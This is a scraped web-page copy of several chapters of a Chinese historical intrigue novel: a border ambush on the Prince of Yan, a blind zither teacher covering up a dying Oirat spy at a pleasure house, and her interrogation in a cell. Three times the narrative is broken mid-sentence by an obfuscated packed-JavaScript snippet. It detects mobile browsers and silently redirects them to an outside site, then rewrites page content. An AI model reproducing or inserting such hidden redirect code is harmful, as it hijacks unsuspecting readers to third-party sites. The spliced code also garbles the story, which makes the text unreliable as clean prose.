北境异族，鞑靼自燕王屠杀使团后早已式微，避其如蛇蝎。 唯余曾与其分庭抗礼的—— 瓦剌。 原来自己失忆前握有的把柄……或可足以倾覆他们的布局。 幽冷笑意无声攀上若嵁嘴角。 门外侍女的敲门声与红绡同时到来。 “妈妈说，新买的几个丫头不成器。按例需请先生过目，调教弦徽指法，非先生不能断其资质高下。三日后，还请先生再赴。” 红绡垂首，丹蔻指尖拨弄一盆建兰，声音里掺着恰到好处的无奈与倚重，遮掩了牵绊若嵁的真实目的。 “妈妈心急，怕那些朽木污了贵客的耳，少不得劳动先生整日费神。” 若嵁不置可否，颔首应下。 三日后之期，倏忽即至。 苍梧镇边防，朔风卷过荒原，枯草低俯。 燕王周放离率亲卫铁骑，玄甲如墨，巡视烽燧戍堡。 他驻马高坡，身形挺拔，面容沉静，鹰目扫过连绵丘壑与蜿蜒边墙，无形威压令随行将校屏息。 身后两列随行亲卫，甲胄森然，气凝如山。与之相对，苍梧边军则显出颓唐气象。 队列松散，甲胄蒙尘，士卒皆面有菜色，眸光闪烁无神。更有甚者，手中长矛枪杆开裂，刃口锈迹斑斑在阴郁天光下黯淡无光。 周放离的目光掠过那些陈旧破损的军械，最终落在队列之外，策马紧随其后的柳守备身上。 那人虽着官服，勉力挺直腰背，面上强撑着恭敬，半垂眼皮似是不敢直视前方之人的威仪，又似是遮掩着满腔愤恨。 “柳守备。”周放离的声音混在风啸里，却清晰地传入在场之人的耳中。 柳守备凛然一怔，差点没能握住缰绳：“末将在！” 周放离缓缓勒马转头，俯视着柳守备，语气平淡无波，辨不出喜怒：“军械库，多久未得补充修缮了？” 明知故问！ 柳守备喉结剧烈滚动，冷汗已然浸透内衫。他比谁都清楚，那些朝廷拨款革新的竣备，早已化作一箱箱见不得光的赃物，更成了悬在他头顶的催命符。 若非—— “……回禀王爷，”他的声音干涩发紧，字字皆是从齿缝中挤出，“去岁…去岁秋拨的饷银，因…因库吏交接不清，文书拖延…加之北地哭喊，路途有亏损，故而…故而…末将督管不力，甘受责罚！” 柳守备垂下头，姿态放得极低，身体在鞍上发颤。 周放离不置可否，眸中深不见底，如视死物。疾风再起，卷起碎石，扑打在众人甲胄上，发出细碎声响，更衬得旷野的死寂无边。 良久—— “既知罪，回程后，便去领罚。”周放离薄唇微启，面带嘲意，将视线重新投向远处。 行至鹰愁涧外围险峻隘口，天际忽滚过沉闷雷声，铅云低垂欲坠。 “报——！”一斥候飞马驰至，滚鞍下跪，语带惊惶，“上游突发怪风，卷落山石，阻了归路！有敌军趁乱袭扰辎重队！” 周放离眉峰未动，眸底寒光微闪。 “廖参将。” “末将在！”廖元清策马出列。 “带半数亲卫，速去清障，剿灭匪类。不得有误。” “得令！”廖元清点齐十余骑，如离弦之箭，逆着风沙朝上游方向疾驰而去。 周放离身侧的玄甲亲卫顿显稀疏，而残存的边军队伍更添惶然。 柳守备低垂的眼皮下，掠过一丝难以察觉的阴鸷。 队伍继续前行，深入鹰愁涧腹地。 两侧峭壁刀劈斧削，高耸入云，挤压出一线晦暗天光。涧底乱石嶙峋，仅容两骑并行，马蹄踏在湿滑石上，发出阵阵回响，更衬得涧内幽深沉寂。 周放离一马当先，狭道罡风吹起他的玄甲黑袍，遮挡住了他逡巡两侧岩壁，杀机毕现的眼神。 行至最窄处，光线骤然昏暗，抬头唯见逼仄一线惨白天空，仿佛触手可及。 周放离坐骑前蹄踏过一块凸起青石。 呜—— 十数支箭簇自两侧峭壁的缝隙、孔洞中破空而来，目标直取周放离及其身侧寥寥数名亲卫。 “王爷小心！” 亲卫嘶吼，拔刀格挡，刀光与弩矢碰撞出刺耳刮擦声。一名亲卫肩胛中箭，闷哼坠马。 周放离瞳孔骤缩，勒住缰绳，战马长嘶人立而起。同时腰间长剑出鞘，劈砍箭杆。 咻咻咻—— 又一阵箭雨袭来。目标非人，直取周放离座下骏马。 战马嘶鸣跪地，一道瘦长矫健的黑影，如同附在岩壁上的鬼魅，自他头顶上方数丈高的阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533419|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影中，无声无息地倒坠而下。 正是十三娘！ 她绷紧身体，将全身力量，尽数灌注于手中那柄寒光短匕，化作一道撕裂昏暗的锋芒，直直刺向周放离的后心。 死亡的阴影笼罩而来。 周放离有所警觉，格开最后一支箭矢的剑势未竟，强行拧身，反手向上撩劈，拦截住来自头顶的致命一击。 刀匕相交。 十三娘头一次得见这位“活阎王”的真容。 而周放离格挡的腕间陡然一沉，才惊觉对面看似慈眉善目、低眉浅笑的温厚女人，挥刀时的狠劲，震得他虎口崩裂，鲜血瞬间染红刀柄。 巨大的反震之力将十三娘弹开。足尖在湿滑岩壁上一点，碎石簌簌滚落，身形借力折返，匕首直取周放离颈侧。 战场上厮杀锤炼出的本能快过思绪，周放离不顾虎口剧痛，身形疾矮，险险避过锋刃。同时，那柄染血的长剑自下而上，裹着裂帛风声，反袭向十三娘。 先前的攻势令十三娘全无保留，堪堪闪避，她便被那股巨力撞得气血翻涌。 她闷哼一声，身形失衡，重重撞向身后凸起的尖锐岩壁。腹部的贯创伤不断涌出鲜血，喉头腥甜自唇缝溢出。 挣扎戛然而止。 周放离拄剑起身，虎口的鲜血顺着剑格滴落，溅在湿冷的岩石上，洇开暗红。 他将目光投向不远处夹紧马腹，调转马头，朝着来处疯狂逃窜的柳守备。先前孤注一掷的疯狂，此刻唯余求生本能。 “擒住他！” 仅存的玄甲亲卫收拢上前。 涧口方向，被“怪风落石”引开的廖元清去而复返，彻底堵死了狭窄的归路，寒刃齐刷刷地对准了仓皇冲来的柳守备。 马匹受惊，将柳守备狠狠掀翻在地，滚了一身泥泞。官帽跌落，鬓发散乱，狼狈不堪。 两名亲卫将他按在乱石地上。面颊紧贴着苔藓和碎石，磨出了道道红痕。他挣扎着抬头，正对上居高而下的森森目光。 求饶的话尽数咽下。 周放离从容地抬手抹去溅道下颌的血珠，宣判了这场刺杀的最终结局。 “带下去。” 同一时刻，苍梧镇内的翠云阁 合欢香依旧在暖阁中缠绵袅袅，竭力隔绝着外间渗入的刺骨寒意。案上的清茗早已凉透，无人问津。 若嵁端坐琴前，指尖自冰弦上移开，方才教习的曲韵仍在梁间萦绕。 红绡撩拨着琴弦，刻意为之的靡靡之音倾泻而出。她的唇角噙着勾人的浅笑，目光飘忽不定，时而扫过紧闭的雕花木门，时而掠过若嵁的面庞。 “心若乱如麻，便莫抚琴弦。指尖落处若带了躁气，弹出的音也是断絮惊风。” “是，红绡受教。” 门外，一阵刻意压低的脚步声由远及近，带着不易察觉的慌乱停在门外。 短暂静默后，是侍女小心翼翼掀动珠帘的轻响。 添茶侍女低头走进，指尖却带着细微的颤抖，壶嘴与杯沿相碰，发出极轻的声响。 一缕极淡的血腥气息飘然而入，夹杂着硝烟与草药的苦涩， 若嵁悬在弦上的指尖无声落下，却在触及冰弦的刹那带起一声低沉的嗡鸣，俄而湮灭在合欢香里。 24. 碣石调·幽兰（二十三） 那声低沉的嗡鸣声如石入潭底，在寂静的暖阁中荡开微澜，随机被粘稠的合欢香吞没。 添茶侍女手一抖，茶水溢出杯沿。她慌忙放下茶壶，用袖子去擦，怯懦地不敢抬头。 红绡拨弦的手指蓦然一顿，刮出刺耳噪音。她脸上的浅笑凝固，目光先落在侍女颤抖的背脊，其后又飞快扫向若嵁。 “毛毛躁躁成何体统！”红绡声音紧绷，“还不退下！” 侍女如蒙大赦。垂首倒退着离开，珠帘在她身后慌乱碰撞。 先前那缕异样的气息却未被驱散，反而愈加清晰刺鼻。 若嵁端坐不动，面上门扉处，放在琴上的指尖微蜷。 暖阁空气凝滞。 红绡强迫自己再次拨弦，试图纸用琴音掩盖不安，但奏出的旋律却不成曲调。 未及她开口挽尊，珠帘再次被粗暴撞开。 去而复返的侍女步履仓皇，裙摆上沾染着大片触目惊心的暗红，肩侧半靠半倚着一个高大沉重的身体—— 是昭翎。 他面色灰败，额角狰狞伤口有鲜血在汩汩涌出。胸腹间裹缠的布条已被深红浸透，不断扩散。他双目紧闭，气息微弱。 “昭翎！”红绡失声惊叫，却又立即反掩檀口。 昭翎沉重的眼皮艰难掀开一条缝，涣散的琥珀色的眼瞳好一会才聚焦在红绡脸上。剧痛混杂着滔天恨意的情绪涌上，喉咙发出嗬嗬怪响，挣扎欲言。 “燕王…燕王…咳咳…”昭翎猛地呛咳起来，带出更多的血沫，身体剧烈摇晃，几欲栽倒。 “这…活阎王…他…早有准备…我设伏不成，反被重伤…咳咳咳……” 剧烈咳嗽打断咒骂，身体痛苦蜷缩，创口处再次涌出鲜血。 “别说了。”红绡急道，慌忙捂住他的伤口，温热的粘稠液体却源源不断渗出。 她绝望看向若嵁，语带哭腔，“先生！快想办法，他…他不能死。” 后者无动于衷，声音平静无波，却穿透了室内的喘息和啜泣： “原来红绡姑娘在翠云阁牵制我，是为昭翎刺杀燕王打掩护。他先前挑唆柳衙内致我重伤，如今成王败寇，不落井下石已是宽容，为何还要救他？” 咒骂声戛然而止，涣散瞳孔骤然收缩，昭翎惊愕转向若嵁，骤然失语。 红绡不敢置信地看向昭翎，求助的话一时吐不出口。却被身侧的昭翎猛地捏住了手腕，力道之大近乎捏碎骨头。 “救…救我！” 红绡被他抓得生疼，挣脱不得，含泪恳求：“先生…求您……” 见若嵁不为所动，昭翎恐慌更甚。强撑起最后的气力，眼神陡然凶狠阴鸷，恶狠狠道： “红绡…你…敢不救我？咳咳…我若死了…上边…第一个怀疑你！你的…阿弟…咳咳…就等着…给我陪葬！” 红绡闻言浑身剧颤，眼中被恐惧淹没。她瘫软在地，对着若嵁泣不成声： “先生，救他！也救救我阿弟！我…什么都听您的！求您了！” 暖阁内唯余红绡绝望的哭声和昭翎艰难的喘息。 若嵁目光在二人身上逡巡，指尖轻拂琴弦。 “什么都听我的？”她嗤笑一声，“红绡，你的把柄在我手中，命途本就该由我定夺，至于他…” 视线回落在昭翎身上，带着冰冷的审视。 “倘若你真能轻易定红绡阿弟生死，瓦剌又怎会派你这般‘贵重’人物来做刀口舔血的细作？” 昭翎的面色愈加灰暗，眸中尽是被戳穿的不甘恐惧。嘴唇哆嗦着，欲辩解，却因剧痛失血发不出声，徒劳摇头。 “不…不是…先生…就我…”他挣扎，卑微祈求道，“只要…救我…我发誓…绝不再犯…绝…不连累红绡…咳咳咳……” 急于投诚，昭翎几次三番抬手发誓，却被剧烈咳嗽和翻涌气血冲垮。此言未竟，他眼中光芒骤熄，抬起的手无力垂落，彻底瘫软在草席上，陷入深沉昏迷。 红绡掩面落泪，声声呜咽。 浓重血腥气萦绕在若嵁鼻尖，她难耐皱眉，无动于衷。 门外，隐约传来镇内兵马调动，戒严的呼喝声，遥远肃杀，与暖阁内濒死的绝望交织。 “砰！砰！砰！” 带着金属甲胄摩擦的砸门声骤然响起，粗暴地撕裂了暖阁内的死寂。 “开门！燕王府搜查逆贼！速速开门！”门外传来厉声呵斥，冰冷强硬，不容置疑。 更猛烈的撞击紧随，门框簌簌震响。 几经波折，侍女早已六神无主，失魂落魄。 红绡敛了悲泣，扭头看向门口，姣好的面容上被恐惧扭曲。 昭翎在此，一旦败露，翠云阁顷刻便是勾结逆匪、阖门俱灭的死局。阿弟生死不明、自身伏法的画面在脑中轰然炸开，死死扼住了她的咽喉。 她本能地望向若嵁，却见她端坐琴前，镇静自若。 时间，仅余一息。 红绡魂飞魄散之际，若嵁的指尖在琴弦上极轻一剔。一声清冽单音如冰珠坠玉盘，反倒安抚住了她惊恐的心魂。 “红绡姑娘。”若嵁的声音静得骇人，却盖过了所有喧嚣，“此人重伤闯入，已是弥留。留着他，整个翠云阁便为他陪葬。你若是死了，你阿弟焉有活路？” 一字一句刺穿了红绡最后的侥幸。 “眼下，”若嵁的声线带着不容置疑的决断，“唯有将他‘交出去’，方能撇清干系，暂保翠云阁，亦…为你阿弟挣得一线喘息。瓦剌只知他毙命于王府亲卫刀下。至于他死前恫吓…除了在场之人，又有谁会知道？” 若嵁之言一语中的。弃子，方是唯一活路！ 红绡扫过血泊中气息奄奄的昭翎，以及魂飞魄散的侍女，最终落在那扇行将破碎的门，生的欲望终碾碎了一切迟疑。 她深吸一口气，朝着瘫软的侍女嘶声：“开门！说…有凶徒闯入！我等…正要报官。” 侍女手脚并爬去拔栓。 若嵁微微正身，双手虚按琴弦，白纱下是深潭般的沉寂。她“听”着门闩滑脱。 “吱嘎——”，门被猛力撞开。 数名玄甲亲卫挟着铁腥寒气涌入，刀光森然，目光如炬，将暖阁内的情景尽收眼底。 刺鼻的血腥硝烟味，异域面孔与致命创口，倒是与逃走的逆贼对上了。 为首的校尉眼神犀利地刮过红绡惨白的脸，以及静坐的若嵁：“此獠何人？！何以在此？！” 红绡梨花带雨，声带哭腔抖颤：“军…军爷！奴家不知！方才此人浑身浴血，破后窗闯入…凶悍至极…他…未及言便倒了。奴家正欲报官，幸得军爷驾临！”她急指后窗缝隙。 校尉蹲身探脉查创，确认生机将绝。霍然起身，利刃般的目光再次剐过二人，在若嵁覆纱的面容上顿了一瞬。 若嵁只微一颔首，从容如隔岸观火。 “拖走！”军官断喝。 亲卫上前，粗暴拽起昭翎，如拖着残破草囊。 “封禁翠云阁，不准任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533420|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人出入，搜查余孽！”亲卫立刻翻检。 红绡心悬喉头。若嵁静坐，指尖稳按弦丝，似抚琴，又似抚定这危局。 属下亲卫片刻回禀：“禀校尉，除了血污，别无他异。” 军官环视周遭，目光在若嵁身上再作停留，终无所得。 “严加看守！但有风吹草动，立报！”军官留下军令，带人裹着铁血寒意，又疾退离去。 珠帘兀自晃荡脆响，暖阁阒然无声，唯余浓稠血腥与红绡跌坐椅中，劫后余生的粗重喘息。 若嵁收手离弦，沉吟自忖： 危机暂弭，祸患已“弃”。燕王此人，却不可以常理揣度。先前那柄军械短匕已然在他那里漏了踪影，现下又与匪徒共处一室，只怕没那么好脱身…… 然而落在红绡眼中，虚脱之下，是对若嵁果决无情的森然忌惮，以及对前路深渊的无尽怖惧。 燕王别院 灯火通明，甲士肃立，气氛凝重。 周放离翻身下马，玄甲黑袍溅着暗红血渍。他随手丢开缰绳，步履沉稳，周身未散的杀伐之气让空气凝滞。 身后，两名亲卫反绑柳守备双臂，拖着紧随其后。另一副担架盖着白布，隐约显出十三娘瘦硬的轮廓。 刚踏上回廊石阶，一道清越温润声音响起： “王爷。” 身着月白锦袍的年轻男子快步下阶，正是被燕王传唤而来的王府右长史裴昭雪。 他身姿挺拔如修竹，面容清俊，眉眼间带着世家子弟特有的从容气度。虽处此肃杀之地，他周身却仿佛自带一股令人心静的清气。 眸光迅速掠过周放离染血的衣袍，确认无碍，才看向柳守备和担架，眉头微皱。 “昭雪，”周放离声音低沉，疲惫道，“柳守备交给你。让他吐出失窃军械的去向，以及那具女尸的身份。”他瞥了眼担架，“本王怀疑，是黑云寨余孽常十三娘。” 裴昭雪颔首温言道：“王爷辛劳。柳守备，定当细鞫。风冷露重，请王爷先入内盥洗。” 他抬手示意，亲卫立时上前接管柳守备。 恰在此时，一名肩甲染血的玄甲校尉疾奔入院，单膝砸地，声如裂帛： “禀王爷！末将搜至翠云阁，于其暖阁内擒获一具男尸。经辨，正是上游伏击我军后，为廖参将重创遁走之人。” “翠云阁？”周放离脚步蓦地停住，霍然转身。锐利目光锁住校尉，这三个字自他齿间迸出，令满院甲士心头一寒。 裴昭雪按压指节的动作微滞，眸底精芒乍现，投向周放离。 “是！尸身尚温，致命伤确系廖参将所留肩颈撕裂，失血而毙。”校尉语速如飞，“据花魁红绡及一盲眼琴师供称，此獠重伤破窗而入，未及言便绝气。彼等正欲报官，我军即至。” “破窗？气绝？”周放离唇角勾起冰冷笑意，眼底疑云翻涌，“巧了。又是翠云阁，又是这瞎子……” “裴长史。”周放离声调陡升，威压凛冽，“即刻遣人，将花魁红绡、琴师，并翠云阁一干人等，悉数锁拿回府。严加圈禁，不得疏漏。本王要亲审！” “遵命！”裴昭雪无所迟滞，躬身领命，温润面容覆上肃杀寒霜。 周放离亦不再多言，大步踏入煌煌灯火的内院。背影在廊下拖曳如蛰盘错虬枝，携着未解的谜团与刺骨杀机。 裴昭雪目送其没入门内，旋即转身，条分缕析调遣人手。月白袍角在夜风中轻扬，温润依旧，却已悄然没入这铁血肃杀之夜。 25. 碣石调·幽兰（二十四） 夜色浓沉，燕王别院已火把林立。 甲士静默，映着噼啪跃动的火光，兵刃寒芒流转其间。 裴昭雪的月白身影在重兵押解下穿梭，冷峻的目光扫过收押的翠云阁众人，阴影在他身后无声蔓延。 红绡喉间的呜咽刻意拔高，侍女断断续续的压抑抽噎……唯有琴师若嵁步履沉静，无所动容。 一道道身影被无声推入刑房，沉重的铁门次第合拢，锁舌咬合的铿锵在死寂中碾碎最后一丝声响。 别院内室，裴昭雪悄然而入。 这屋子原是沾着杀伐气的，偏他往那儿一站，月白广袖拂过屏风，倒把满室肃杀衬得淡了。 他行至周放离丈许处倏然停步，敛袖躬身。 “王爷，刑名事毕。”裴昭雪的声音依旧温润，却凝滞审慎。 周放离正掬水洗去脸上的血污与征尘。 铜盆中温水氤氲，却洗不净眉宇间凝着的戾气。他仅着素黑中衣，墨发濡湿，目光沉冷地落在窗外浓重的夜色里。 裴昭雪知悉他的态度，续道：“其一，女尸经柳守备供认无误，正是黑云寨余孽常十三娘。其二，依王爷前时所托，黑云寨旧案，已有眉目……” 他稍作停顿，似在斟酌措辞： “黑云寨之祸，始于怀璧其罪。当年，先帝为得山中秘矿，曾行招安之策。然威远伯贪功冒进，违逆圣意，悍然以火攻强袭黑云寨。虽寨破功成，却致寨中妇孺老幼，连同归降寨主，尽数焚为焦炭，惨绝人寰。” 烛火跳跃，映在周放离侧脸上，投下深刻阴影。他身形纹丝未动，唯有搭在椅背上的指节骤然发力，微微泛白。 “彼时随军行军司马陆逊之，曾力谏火攻之弊，未果。事后，陆司马因‘督战不力’、‘纵容匪首’，遭贬谪大同府。而威远伯……” 他话语微顿，带着不易察觉的讽意，“却反因‘破寨有功’，擢升京营提督，掌京畿重兵。” “威远伯……” 周放离齿缝碾过这三字，新仇旧恨，往事历历，重又浮现于他脑海中。 永昭二十六年，狼居胥山麓。 彼时他率领的铁骑所向披靡，已将鞑靼王庭逼入绝境，四海皆平，胜局唾手可得。朝中议和之声却甚嚣尘上，以“耗损过大”为由，力主休战。 廷议之上，正是这位威远伯，当着他的面，将厚厚的兵部账簿掷于金銮殿上，声如洪钟，字字诛心：“国库已空，三军断炊在即！再战，非亡国不可！” 先帝最终采纳了和议。 岂料鞑靼使团嚣张跋扈，竟在谈判之地，以流民充作箭垛活靶，肆意射杀取乐。 滔天的怒火焚尽理智。他挥剑屠尽使团二百余人，以血震慑，终逼得鞑靼低头签下城下之盟。换来的却是先帝御案上头那方九龙玉镇纸被摔得粉碎的脆响。 议和虽成，他嗜杀恶名早已传遍朝堂草野，与储君之位再次失之交臂。 而力主议和的威远伯，亦未能幸免，被削爵一等，撸去官职，赋闲在家。 燕王与其的纠葛往事，裴昭雪了然于心，踌躇再三，终是顶着他的怒火道：“京都府传来消息，威远侯将于四月中旬启程赴太原府任职。” 太原府在燕王封地以南，新帝周承寰之用意不言而喻。 周放离霍然转身，素黑中衣下肌肉紧绷，周身戾气如有实质，那双眼眸里燃着怒火，死死攫住裴昭雪。 “本王施以威压，扫清几处碍眼的污秽，就引得陛下如此忌惮？！竟要起复这等不择手段的豺狼之辈？” 一字一句，锋利如刃，充斥着难以置信的狂怒与刻骨的讽刺。 “好啊…好一个‘皇恩浩荡’！本王偏安一隅，肃清边关，此番擒杀黑云寨余孽，倒反成了威远侯那老匹夫重登庙堂的垫脚石？！” 他的胸膛剧烈起伏，额角青筋贲张，滔天愤懑几乎要冲破理智的堤坝。 离京前，最后一次见到年轻帝王，是在先帝丧仪上。 那张年轻却难掩锋芒的脸，强忍悲恸，殷殷恳切，望他早日就蕃，以镇边陲。却又因年轻稚嫩，克制不住眼底暗藏的忌惮，带着无声的试探与敲打。 先帝遗诏中那句“叔慈侄敬，共维社稷”的训诫，如同一道无形的枷锁，沉重地压了下来。 万般不甘，千种怨怒，最终只化作一声压抑到极致，从喉间挤出的冷笑。 “呵……” 裴昭雪静立一旁，月白锦袍在摇曳的烛光下纹丝不动，仿佛那足以碾碎人心的威压不过拂过水面的微风。 他太了解眼前之人了，怒火焚天是真，而一旦涉及新帝，涉及那道遗诏，心绪万般激荡终归偃旗息鼓。 裴昭雪敏锐捕捉到冷笑声里宣泄殆尽的余烬，以及随之而来的疲惫。待这令人窒息的沉默稍缓，不着痕迹地向前微倾，声音平稳如初，却已将话题悄然引开： “王爷息怒。关于军械失窃一案，柳守备已尽数吐实。大部分甲胄兵刃，确系流入黑云寨余孽之手，助其复燃死灰。另则…一部分流向了异域行商，身份尚在追查。” 他顿了顿，瞥见周放离目光冷然，指节无意识地敲击着盆沿，显然对军械案的后续细节兴致索然。便顺势续道： “已被擒获的黑云寨余党，经审讯，已供出几处隐秘窝点。隋然率精锐亲卫前去搜查失窃军械，不日当有回音。” 周放离敷衍地“嗯”了一声，疲乏毕现，连眼皮都未抬，只挥了挥手，示意知晓。 裴昭雪略一停顿，继续以公事公办的平稳语调汇报道：“另，遵照王爷前令，翠云阁一干人等，现已悉数缉拿，分押于西院刑房。” 他微微躬身，请示道：“请王爷示下，何时提审查问？” 周放离阖眼，抬手揉了揉刺痛的额角，眉宇间尽是挥之不去的倦怠与厌烦。他此刻唯愿将这满室的肃杀与纷扰一并驱散，至于那盲眼琴师纵有千般隐秘也懒怠探究半分。 “明日。” 他的声音低沉沙哑，再次不耐地挥了挥手。 “是。” 裴昭雪应得干脆利落，再次躬身行礼，如来时一般无声离去。 翌日，西园刑房 晨光从高窗铁栅刺入，割裂青石地面，浮尘在光柱里无声翻涌。空气滞重，混着铁锈与未能散尽的血腥。 若嵁覆纱遮眼，青衫素净，沉静坐于刑房一隅。指尖微蜷，正思索着如何破除当前的困局。 红绡与侍女二人皆非等闲的柔弱女子，翠云阁并无确切的通敌罪证，仅凭恫吓，得到的唯有一份滴水不漏的供词罢了。 至于她…… 燕王本就对她怀有偏见。先前撺掇廖怀行龃龉之事，至多算是小打小闹，如今牵扯到了大逆的罪名，只怕难以轻拿轻放…… 沉重的铁门被豁然拉开，摩擦声刺耳。阴影当头罩下，带着山雨欲来的威压。 周放离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533421|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一身玄色劲装，肩臂绷带浸着暗褐药渍，行步间微显滞涩，审视的冷光径直钉在角落的若嵁身上。 裴昭雪无声侍立其后，探询的目光落在若嵁缚纱的眼部。 若嵁侧首，似在捕捉声源的方向，平静的声线里带着恰到好处的困惑与审慎： “王爷明鉴。草民一介琴师，昨日于翠云阁中受惊未定，今日又被锁拿刑房。实不知身犯何罪，竟劳王爷亲审？” 她顿了顿，颈项微仰，缚目的白纱似有若无地拂过周放离肩伤处。 纵然隔着锦衫，仍令他无端泛起了细微痒意。竟从若嵁古井无波的声线里，听出一丝似探非探的…… 关切？ “倒是王爷…步履沉滞，气息略有凝涩。莫非…贵体有恙？” 周放离眸色骤然一沉，将杂念抛却，向前逼近，直至阴影彻底将若嵁吞没。 高大的身形近乎将她逼至角落，带来了强烈的压迫感。低哑声音里裹挟着浓沉杀意，砸在她的头顶： “先生胆智双绝。此时此地，又岂会断不出，翠云阁内的狂徒逆匪便是伏击本王的刺客。还是…先生在装聋作哑，故作不知？” 言语锋利，带着周放离伤口散发出的淡淡血腥气与金创药味，混杂着极淡的龙涎香，沉沉地压向若嵁。 周放离紧盯着她的脸，辨别薄纱下细微的轮廓变化，不肯放过任何端倪。 若嵁似被骤然逼近的气息和威势迫得呼吸微窒，不消片刻，又强迫自己尽快恢复镇定。 她讶然抬头，“望”向声音的源头。 “洞彻尘寰，乃仙者之能。王爷遭此厄难，草民身在翠云阁，又如何得知？” 周放离冷嗤一声，眸光在她的眼部流连片刻，仿佛能穿透那层白纱，直抵她眼底的真实。 “隐诡之士的手段，本王从不敢小觑。弈者操控棋子，在幕后操持即可，又何必踏足险境？” 闻言，若嵁蜷起的手指微松，紧绷的心神亦松弛了些许。 “王爷‘谬赞’，草民愧不敢受。若要驱使这等悍不畏死的亡命之徒，何须在翠云阁那等人多眼杂的喧闹之地会面？草民自有蜗居陋室，虽鄙陋，胜在僻静安稳。遣人密会，交接谋划，岂非远胜于在花魁暖阁，众目睽睽之下？” 此番辩驳条理清晰，语气中甚至带上了挑衅之意。 周放离眉峰舒展，唇边勾起一抹极冷的弧度，眸中审视之意却愈加深邃。他并非真疑那盲眼琴师与鹰愁涧刺杀一事有关，不过想借这由头，寻个缺口撬开若嵁的破绽罢了。 “伶牙俐齿。”他冷哼，并未撤去威压，反而俯身跟近。 周放离说话时的温热气息拂过若嵁的耳畔，她闪身欲避，“纵非主谋，先生身份来历，也绝非户籍所载的那般简单。” 他似是亦察觉若嵁闪躲之意，稍退半步，旋即又以更强的压迫感再次欺近。 “先是串通奸滑琴商设局，以《别鹤》琴谱为饵，诱廖怀入彀。当众揭破假谱，又以默写真谱投入火盆的‘风骨’，博其信任，借其势赎身脱籍……此等心机手段，呵……” “至于那柄军械短匕的来历，先生的解释或可一信。”周放离声音陡然转寒，带着洞悉的锋芒，“却恰巧能与拦驾告发柳守备的王五状词，互为佐证。” 喉间滚出的字句压得极沉，周放离喑哑的磁音钻入若嵁耳廓：“本王只想问上一句，先生究竟想在苍梧镇掀起何等风浪？” 26. 碣石调·幽兰（二十五） 刑房内，威压凝滞。 直面燕王质问，若嵁覆纱下的眼睫轻颤，无声咀嚼他话中的深意，不由在心底自哂： 柳守备这盘棋的布局之拙劣，实非她该有的手段。有这般搅动乾坤的心机谋略，即便家族倾覆无可挽回，也该早早替自己铺就一条安稳退路。 何至于亲涉这污浊泥沼，留下处处痕迹，如同在刀尖上踽踽独行？ 若嵁自忖，自己绝非舍生取义之辈。 万般筹谋看似全然替燕王做了嫁衣，势必是对其有更甚的算计。所求为何，正是她忘却的前尘。 被烈火舔舐的雕梁画栋，刺耳的兵戈交击，浓得化不开的血腥……然则，这些零星的破碎残片，实难拼凑完整记忆。 繁复的愁绪被若嵁压下，周放离身上混合着血腥、药味与龙涎香的压迫感却无限放大。她权衡再三，终是将全数的辩驳与自证化作反诘： “参将公子廖怀耽于音律，王爷追查军械失窃案陷入瓶颈，草民之算计，岂非替诸位权贵解忧？” 若嵁语气稍缓，唇边牵起极淡的弧度，不待周放离回答，续道：“风浪滔天，非蜉蝣之力可撼。位高者自无需在意些许方寸之地，而于草民而言，在苍梧这片暂时栖身的浮萍之地，无端起风波，又有何益？” 周放离并未被这看似“邀功”，实则“示弱”的言辞所惑。他垂眸，余光的锐利似要穿透那层白纱，攫住她眼底的细微波动。 “好个‘解忧’，好个冠冕堂皇！结识廖怀是为替你脱除流籍，至于军械案，你借王五之手，抛出柳守备，无非是想借本王这把刀，替你报重伤之仇，顺便…再递上一份投名状？” 最后一句话，近乎是贴在若嵁耳畔钻入。她身形微滞，非是被人揭穿的窘然，而是醍醐灌顶的豁然。 “‘高飞之鸟，亡于贪食；深潭之鱼，死于香饵’。居庙堂者，处江湖人，各司其职，否则…” 周放离未竟之言，被刑房沉重铁门的扣响声打断。 裴昭雪温润平缓的声音自二人身后响起，恰到好处地切断了愈发焦灼的气氛。 “王爷。” 周放离强行压下眼底翻涌的戾气，并未回头，只从喉间冷冷挤出一声：“说。” 裴昭雪走近，月白身影带来一丝清冷的气息。他躬身行礼，目光快速掠过角落里面色惨白却沉静的若嵁，随即恭谨回禀： “翠云阁花魁红绡及其侍女，已分别提审完毕。二人供词一致，皆称昨日那重伤闯入的异域男子破窗而入，未及言语便气绝倒地。彼时惊慌失措，正欲报官，恰逢王府亲卫抵达。 阁中其余人等证词亦无出入。属下已派人详查翠云阁上下，包括账册、往来信件、暗格密室等，未发现与逆匪勾结之确凿证据。” 他顿了顿，声音依旧平稳无波，却清晰地将结论送达： 